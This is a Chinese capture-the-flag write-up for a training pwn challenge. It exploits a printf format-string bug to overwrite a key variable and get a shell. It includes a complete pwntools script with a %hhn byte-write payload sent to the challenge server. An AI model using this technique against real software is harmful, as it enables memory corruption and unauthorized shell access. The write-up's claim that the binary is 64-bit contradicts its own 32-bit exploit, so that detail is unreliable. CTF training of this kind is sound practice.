攻防世界pwn进阶区实时数据监测
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位,小端序
开启部分RELRO---got表仍可写
未开启canary保护---存在栈溢出
未开启NX保护----堆栈可执行
未开启PIE----程序地址为真实地址
动态链接
运行程序给了这一条信息
The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (╯°Д°)╯︵ ┻━┻
ida看一下伪代码,主函数调用一个子函数locker()
查看locker函数,第一眼看到system(‘/bin/sh’),要执行这条代码,需要key为0x2223322,如何将key修改为0x2223322,发现这里有个函数imagemagic(&s);
发现就是printf,而且只有一个参数,存在格式化字符串漏洞,
该参数就是我们输入的字符串
fgets(&s, 0x200, stdin);
思路
fgets(&s, 0x200, stdin);
imagemagic(&s);
利用这两个函数,写入格式化字符串,并将key的值改为0x2223322。
首先找到key地址(0x804A048)
这里要改写的数值0x2223322远远大于字符串s大小(0x208),所以属于覆盖大数字,应逐字节覆盖四个单字节地址
数据为0x22,0x33,0x22,0x02(从低地址到高地址)
还需要先找到输入的格式化字符串位于printf的第几个参数,
0xf7fd5b24..0xffa73af4..(nil)..0xf7f8f000..0xf7f8f000..0xffa73aa8..0x80484e7..0xffa738a0..0x200..0xf7f8f580..0xf7fb7ea4..0x61616161
数一下位于第12个参数
exp
from pwn import *
context(os = 'linux',endian = 'little',log_level = 'debug',arch = 'i386')
sh = remote('111.200.241.244',57639)
key_addr = 0x0804A048 # 将key修改成0x02223322
payload = flat([p32(key_addr),p32(key_addr+1),p32(key_addr+3),p32(key_addr+2),'%18x','%12$hhn', '%17x','%13$hhn','%207x','%14$hhn','%32x','%15$hhn'])
sh.sendline(payload)
sh.interactive()
这里的payload
payload = flat([p32(key_addr),p32(key_addr+1),p32(key_addr+3),p32(key_addr+2),'%18x','%12$hhn', '%17x','%13$hhn','%207x','%14$hhn','%32x','%15$hhn'])
前四个地址是key(4个字节)从低地址到高地址四个字节的的地址,但把最高位字节地址和倒数第二高位字节换了一下顺序(减小了注入字符串的大小)共占16字节,而要将key的最低地址字节改为0x22(即34),所以需要加上18(34-16)字节(%18x),后面加上17字节(%17x),总共0x33(34+17=51)字节,
再加上207字节(%207x),总共0x102(207+51=258)字节,因为是hhn单字节,所以只取后两位为0x02,再加上32(%32x),为0x122(258+32)字节,取后两位为0x22,
运行获得shell
参考
格式化字符串漏洞